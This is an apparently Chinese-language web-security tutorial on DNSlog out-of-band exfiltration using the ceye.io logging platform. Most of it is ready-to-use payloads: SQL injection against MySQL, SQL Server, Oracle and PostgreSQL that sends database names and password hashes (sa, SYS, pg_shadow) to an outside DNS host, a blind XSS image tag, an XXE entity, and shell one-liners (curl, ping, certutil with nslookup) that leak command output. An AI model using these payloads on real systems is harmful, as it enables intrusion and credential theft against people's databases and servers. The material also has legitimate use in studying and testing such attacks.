0x01 DNSLOG回顯原理
測試一些網站的時候,一些注入都是無回顯的,我們可以寫腳本來進行盲注,但有些網站會ban掉我們的ip,這樣我們可以通過設置ip代理池解決,
但是盲注往往效率很低,所以產生了DNSlog注入。具體原理如下。
首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io 的 nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。
DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。
0x02 DNSLOG回顯Demo
這樣說原理很抽象,下面通過實際例子看下。有時候http://ceye.io訪問太慢,推薦使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台。下面以http://ceye.io 為例子。
http://ceye.io 這是一個免費的記錄dnslog的平台,我們注冊后到控制面板會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名那里,后台的日志會記錄下來。
0x03 SQL盲注
就以sql盲注為例,后端數據庫用的mysql數據庫,說一下用dnslog回顯只能用於windows系統,原理就是'\\\\'代表Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個\就是轉義了反斜杠。深入理解下DNSlog注入過程:
通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。
在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句
查看平台,dnsLog被記錄下來。
load_file()函數可以通過dns解析請求。
以sql-labs第五關:
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日志,發現security數據庫被查詢出來:
SQL SERVER Payload
DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.ip.port.b182oj.ceye.io'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
Oracle Payload
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
PostgreSQL Payload
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
0x04 XSS(無回顯)
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求我們的dnslog平台
0x05 SSRF(無回顯)
payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> %remote;]> <root/>
0x06 命令執行(無回顯)
當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。
*nix
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io

也可以通過base64加密傳送數據,平台拿到的數據進行base64解密得到命令回顯。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!" del temp*

其他的在這個平台上有一些payload,參考這個鏈接:http://ceye.io/payloads
參考鏈接:
http://foreversong.cn/archives/861
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/